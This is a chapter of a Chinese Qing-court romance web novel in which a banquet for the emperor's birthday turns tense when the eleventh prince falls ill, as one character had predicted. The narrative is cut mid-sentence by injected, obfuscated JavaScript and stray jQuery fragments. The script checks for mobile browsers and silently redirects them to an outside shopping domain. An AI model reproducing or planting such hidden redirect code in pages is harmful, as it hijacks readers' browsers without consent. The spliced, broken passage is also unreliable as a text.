文趣网 > 其他小说 > 清宫福晋嫁一送一 > 22. 九爷赏菜
    殊宁闻言顿了一顿,停下脚步,转回身看着她。梵音走下台阶,靠得更近,声音带着慈悲悯人的磁性。

    “难道你没意识到家里对你和你兄长的区别吗,或者你母亲独守空房,父亲妻妾成群的分别吗?”

    “女子这一生,太多条条框框和身不由己。我既然坐拥资源,为什么不去挑个夫君呢?”

    殊宁恍然,震惊地看向梵音——这才是她拒嫁四年的原因。无论是迷恋她皮相的官家弟子,抑是盯上她娘家资源的皇家天子,都不过把她当作货物衡量价值,从未有一个爱的是她这个人。

    既有资格去主动择婿,她自然愿意挑中钮钴禄家这对兄弟,一个看腻了就换下一个。梵音兰指点着脸蛋,女人心思不围着一个男人转才不会老得快嘛。

    但这番道理是无法说动殊宁的,想必殊宁此刻只在疑惑老太保是怎么会把孙女教成这样的。竖子不足与谋,殊宁打算放弃,就要告退离开。

    “别走呀,给小姑子的见面礼——五福晋蔡氏假孕,回去提醒你的手帕交六福晋防着点。”

    殊宁又是止步,不可置信地瞪大了双眼,脸上写满了讶异。梵音看着她这副样子觉得好笑,唇角一勾,假作关心道:“怎么了好妹妹,雅图不是你昔日好友吗?”

    殊宁不是怀疑对方话里的真假,而是震惊于索绰罗家的情报天网已能一滴不落地吞下皇家这个铁笼。这是一个多么可怕的想法,希望是她想多了,此事也许不实,她不能被这个坏女人吓到,但梵音接下来的话完完全全堵住了殊宁的嘴。

    “三月皇帝的万寿宴前后,十一阿哥会出事。妹妹要是进宫参宴,可要紧紧跟在九爷身边哦,否则姐姐怕那吃人的皇宫把这么明艳动人的妹妹吃得骨头都不剩。”

    两条消息送出,梵音侧身躺回贵妃榻,玉手枕着玉枕,慵懒地阖上眼,明显一副送客的样子。殊宁见状也不多话,识趣地出门领人退下了。

    索绰罗家的眼线遍布天下,送她两条情报并非奇事。但她不是皇室中人,把涉及皇家秘辛的消息当作见面礼,就有点逼她箭在弦上不得不发的意思在里头。

    现在离万寿宴还有一段时日,殊宁不敢赌五福晋假孕之事虚实,若发生在十一阿哥出事前面,那可就害了雅图。她还是准备修书不冒昧直言,只是旁敲侧击让其避开与蔡氏相处,谨慎行事。

    战战兢兢等了半月,不仅宫中无异变,连五福晋蔡氏都因养胎推掉了一些不必要的席面。

    只有六福晋听话地防着贤亲王府,即使对方很少在外和她打照面,雅图一样不放心内院,吩咐兰絮姑姑和朱砂整日盯着府内,提防手下人被安插进眼线。

    当然多数人还是过着平淡日子,受着管事刁难,养活一家老小,宫中一切有条不紊地进行着,万寿宴转眼就到了。

    内廷外廷早已各司其职,鼓乐未起,秩序却已森然。宗亲、公侯、勋贵,循着品级陆续入宫,往来皆不闻喧哗。

    与宫妃宗亲一样,雅图也换上吉服,按各自品级镶带东珠,锦绣华章在灯影下层层铺展,却仍旧分得清尊卑高下。皇室宗亲居前,皇子、福晋与几位近支宗室被安置在最前排,正对殿中空出的中道。

    那道笔直宽阔,是为献舞、奏乐而设,也是整场万寿宴的中轴。

    以帝后御座为正中,席位自中道两侧向左右延展,越靠近中道者,身份越显赫;越向两侧铺开,品级便一层层递下去。

    殊宁穿着一身湖色绸绣百蝶绵衬衣,发髻发饰规规矩矩。这次九爷不用她提醒,早早地就把请帖送至钮钴禄府上,落在外人眼里也不过是钮钴禄一族与中宫党有意交好。

    所以她的位子被安排的离六爷夫妇很近,在他们右后方,甚至她要是想偷偷观察九爷也未尝不可,黄雀在后嘛。殊宁环视一圈,估摸着不少官家女儿今日都来了。

    皇帝诞辰,万寿无疆。荣宪郡主、应袭城、瓜尔佳柔宓……在场的许多是见过几次的熟面孔。

    但有一个女子,坐在离帝后最近的第一排,虽然位子靠后但依旧可见其地位之尊,殊宁笑意一止——索绰罗梵音,这人给的两条消息到如今无一被证实。不说是为了雅图,父亲也有安排子女重回权力中心的期望,所以她势必要稳中求稳,在京中一步步走踏实。

    梵音也未出阁,穿了一身品月色缂丝凤凰梅花衬衣,发式依旧与旁人不同。长发贴着耳后绾成发髻,留一缕发从侧边落下,贴着颈侧,落在胸前。

    只用一件累丝镶宝梅枝金鬓簪作点缀,簪尾垂着细细的宝石坠片,随着梵音垂落的发丝轻轻晃动。

    守制但在细处越界,尤其是她手里搅动的那缕垂发,搅得几个命妇妒意横生,不免在心里骂几句“妖里妖气”。

    但梵音素来自有一番道理,她余光瞥到女人们的不善视线,只觉好笑,弄得好像谁稀罕她们家百拙千丑的主君似的。

    眉目流转间,她捻起金杯,微抿一口桃花佳酿,脸上浮起晕晕绯红,她便更好借着醉意专心窥察局势,也省得跟这群烦人的家伙交话。

    带着醉意的眸子看向她这边,殊宁匆匆低下头不与梵音相视,她一点不想跟这个女人走得太近,免得给自家惹祸。

    九爷见殊宁指尖微紧,抬手示意身边的太监王守谦,很快将一道八宝鸭送至她的桌上,取了最嫩的胸脯肉,另置在白玉小碟中。

    王守谦躬身道:“殿下赏。”

    殊宁谢过王公公,用金筷夹起一片嫩脯,咸鲜风味在口中化开,替她把紧绷的心悄然压下。

    皇帝端坐龙椅之上,面色沉静如墨,目光不动声色地扫过各宫妃子、皇子公主。五福晋脸色红润,从未拿孕期艰难大做文章,依旧作温婉淑良之态,他很是看好老五家这个未出世的孩子。

    六福晋是身侧皇后的侄女,去岁刚她入京,他就见过这孩子几眼,胆大善武真性情,人也明艳,虽诗书礼仪不全,但整体还算满意。老六毕竟是嫡子,希望此女能别像皇后一样,好好扶持夫君日后的路。

    当视线

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768856|209836||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    落到最末端的十一阿哥身上时,皇帝眼中闪过一丝讶异。小十一上月喘疾复发,近日一直在翊坤宫由熙贵妃精心养着。如今面色略差,呼吸有些急促,但能自己坐着调皮地捣鼓案上的菜盏。

    想来是洛氏想哄他高兴,知道他素来宠爱幺子,故而让十一阿哥带病也要来万寿宴为她们母子固宠。也罢,九年以来小十一喘疾经常复发,但从未有过性命之虞。

    宫人们端上一道硬菜,鹿茸炖羊肉,每逢万寿、千秋、元旦等大宴必有大补膳品,这是宫中几代人的规矩。

    这道菜一上,许多武将不由自主地感叹:“当年随军行营,这炖羊肉最能鼓舞士气,也是增储体力的一道好菜,还记得开战前总要奖赏小兵们一顿好让他们有力气去打,哈哈哈。”

    “多亏皇上英明,方得如今太平盛世啊。”

    皇帝看着底下将士们交友接耳,大臣们赞美连连,目光多了几分欣慰,也准备品尝这份羊肉的香气。只是筷子刚碰上,总管太监邢国泰收到宫人上报踉跄了一下,急忙向龙椅跑来。

    皇帝不满地放下金筷,听完禀报心中警铃大作,满堂赞美的宫宴上冷不丁地传下一道旨意。

    邢国泰站在皇帝身边,扯着嗓子:“传陛下口谕:十一皇子突感不适,宴会照常进行,众人不得离席。贤亲王福晋与六福晋,留守掌管,皇后、熙贵妃、纳兰贵妃、宁妃请移步后殿,一同前往观治。”

    大殿瞬间肃然,所有人低首应命,无人敢探望十一阿哥是否安好,其实早在宫人发现不对时,小阿哥就被挪至殿外了。众妃随皇帝缓步而出,随着他们离去,殿内的不安与紧张逐渐消散,被各怀心思的交谈声与猜测声压下。

    五福晋夫妇已站起身,接手处理席面调度事宜。雅图与六爷自然跟在一旁,只是对宫内诸事还不曾上手,二人显得有些生疏。

    众人心思各异,尤其是索绰罗梵音。情报得证,终于好戏开场,她反而偷懒靠着席位,餍足地眯起狐狸眼装作醉态。

    但就在这时,雅图突然转过身朝向九爷与殊宁,声音不大不小地发问:“此番万寿宴不是宁妃操办吗,为何出了事不让宁妃留下,反而让我跟五嫂代管?”

    此话引得九爷与殊宁一惊,九爷看到六爷也是一副不明所以的样子,眼中的讶异缓缓淡了下去,失语地让六爷陪自己媳妇下场歇息。

    “六福晋吃酒过头了,臣女让宫人端碗醒酒汤来。”

    殊宁反应也很快,刚刚的话蔡令宜肯定听见了,人家心里还不知怎么想呢,拉着雅图就向场外退去。

    “五福晋还在这儿,你怎敢说这种话!皇帝明摆着要保五爷母子,你随六爷坐下休息吧,有九爷在不会有事的。”

    老六家在权谋之术上有些不足,但好在向来听九爷的话,乖乖地下场不再添乱。

    当下,结合梵音给的情报,十一阿哥要出事是必然的。

    他们要做的是在鱼龙混杂的局势窥见其它心思,从而避免产生更多不良影响。